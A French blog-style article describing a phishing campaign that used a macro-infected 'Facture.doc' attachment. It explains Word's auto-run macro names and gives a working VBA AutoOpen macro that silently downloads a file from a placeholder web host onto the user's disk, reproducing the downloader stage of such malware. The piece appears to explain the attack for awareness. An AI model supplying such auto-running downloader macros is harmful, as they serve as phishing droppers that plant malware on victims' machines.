Le mois dernier de nombreuses entreprises ont été victimes d’attaques par Social Engineering. L’attaquant envoyais par mail aux différents membres de l’entreprise cible un mail contenant la pièce jointe « Facture.doc ». Cette dernière, vérolée par des macros, avait pour but de faire télécharger un malware aux utilisateurs.
Ecrire des macros sous Word
Pour comprendre la simplicité de cette attaque, il faut se pencher sur le système de macros de la suite Office. Si il est bien un produit Microsoft dont il est impossible de renier les qualités, c’est bien la suite Office. Présente dans quasi toute les grandes/moyennes/petites/micro entreprises, sa connaissance est aujourd’hui un élément primordial.
Comme souvent, plus un produit est rependu et plus il est la cible d’attaques. Office embarque une fonctionnalité qui lui apporte un véritable plus, mais qui agit aussi comme une épée de Damoclès, Les Macros.
Ces dernières s’écrivent via le langage Visual Basic Script (VBS pour les intimes ).
Pour cela il suffit de se rendre dans Affichage > Macros. ( cliquez sur le logo )
Il est maintenant temps de nommer notre macro. Il est possible de lui donner le nom de son choix, mais il existe certains noms qui sont « Réservés » pour certains cas :
AutoNew | S’exécute à la création d’un document | |
AutoClose | S’exécute à la fermeture | |
AutoExec | S’exécute au démarrage de Word | |
AutoExit | S’exécute à la fermeture de Word | |
AutoOpen | S’exécute à l’ouverture du document |
Pour que notre macro s’exécute à l’ouverture de Word nous allons donc la nommer « AutoOpen ».
Celle ci contiendra le code suivant :
Sub DownloadFile() Dim myURL As String '//On déclare une variable String qui contiendra l'url du fichier myURL = "https://YourWebSite.com/?your_query_parameters" Dim WinHttpReq As Object '// On définit un objet requête HTTP Set WinHttpReq = CreateObject("Microsoft.XMLHTTP") '// On crée l'objet WinHttpReq.Open "GET", myURL, False, "username", "password" '// On effectue la requête avec les paramètres nécéssaires WinHttpReq.send '//on envoit la requete myURL = WinHttpReq.responseBody If WinHttpReq.Status = 200 Then '// si on a un résultat Set oStream = CreateObject("ADODB.Stream") '// On récupère le flux oStream.Open oStream.Type = 1 oStream.Write WinHttpReq.responseBody oStream.SaveToFile "C:\Users\Utilisateur\Documents\file.XXX", 2 ' 1 = no overwrite, 2 = overwrite '// on écrit le résultat dans C:\Users\Utilisateur\Documents\file.XXX" oStream.Close End If End Sub
Ce code télécharge un fichier et le sauvegarde sur le PC de l’utilisateur.
Enregistrez le, puis enregistrez votre document word et enfin fermez le puis réouvrez le.
La macro s’exécute. Dans C:\Users\Utilisateur\Documents\ on trouve bien notre fichier file.XXX
Pour être tout a fait honnête, jusqu’à maintenant, je n’avais jamais écrit de macro Word, et encore moins de code Visual Basic. Quelques minutes (secondes ) de recherches m’ont permis d’écrire un code téléchargeant un fichier.